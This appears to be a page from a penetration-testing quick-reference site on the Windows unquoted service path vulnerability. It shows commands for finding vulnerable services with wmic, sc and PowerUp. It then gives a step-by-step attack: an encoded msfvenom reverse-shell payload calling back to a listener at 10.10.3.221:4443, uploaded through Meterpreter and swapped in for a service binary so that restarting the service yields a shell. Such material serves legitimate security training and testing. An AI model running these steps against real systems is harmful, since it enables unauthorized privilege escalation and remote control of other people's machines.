> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/privilege-escalation/windows-priv-esc/unquoted-service-path-vulnerability.md).

# Unquoted service path vulnerability

### Unquoted service path vulnerability

**Find Services With Unquoted Paths**

```
# Using WMIC
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

# Using sc
sc query
sc qc service name

# Look for Binary_path_name and see if it is unquoted.
```

If the path contains a space and is not quoted, the service is vulnerable.

**Exploit It**

If the path to the binary is:

```
c:\Program Files\something\winamp.exe
```

We can place a binary like this

```
c:\program.exe
```

When the program is restarted it will execute the binary `program.exe`, which we of course control. We can do this in any directory that has a space in its name. Not only `program files`.

This attack is explained here:\
<http://toshellandback.com/2015/11/24/ms-priv-esc/>

There is also a metasploit module for this is: exploit/windows/local/trusted\_service\_path

#### Enumeration with powerup.ps1

```
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
```

upload the script with metasploit

```
upload /root/PowerSploit/Privesc/PowerUp.ps1
```

<figure><img src="/files/tHFO2jM7rcgSLAiSqnIX" alt=""><figcaption></figcaption></figure>

Now run the script with Powershell

```
load Powershell
powershell_shell
.\PowerUp.ps1
Invoke-Allchecks
```

<figure><img src="/files/mPFtGyNbwXbxcLWFIN1b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/W1u6wYVZaTnPC0KLTCqr" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/H97TO9IfuXGQx8zMAQM2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/zyWtelAbQup9vtbzMD1D" alt=""><figcaption></figcaption></figure>

• List services which can be configured :thumbsup:

```
Get-ModifiableService -Verbose
```

<figure><img src="/files/utwLo1LNl2g5XkfMTNEW" alt=""><figcaption></figcaption></figure>

We are also given the command to execute it.

• Unquoted Service Path :thumbsup:

```
Get-ServiceUnquoted -Verbose
```

```
C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
```

<figure><img src="/files/AK65PUheLUvkhqE8dhtq" alt=""><figcaption></figcaption></figure>

Now create a reverse shell payload

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.3.221 LPORT=4443 -e x86/shikata_ga_nai -
```

{% hint style="info" %} <mark style="color:red;">using reverse meterpreter payload dies if used and we have to chain it with post/windows/manage/migrate</mark>
{% endhint %}

Now upload the malicious file and changer meterpreter to shell, stop the service and then copy the file the same location, start listener at port 4443 and start the service again.

```
upload ASCService.exe
shell
sc stop AdvancedSystemCareService9
copy ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
sc start AdvancedSystemCareService9
```

<figure><img src="/files/mqsQ1sj9Eviagp9mRY94" alt=""><figcaption></figcaption></figure>

and we got the reverse shell

<figure><img src="/files/BgfLMIom9X86KqmTuca4" alt=""><figcaption></figcaption></figure>
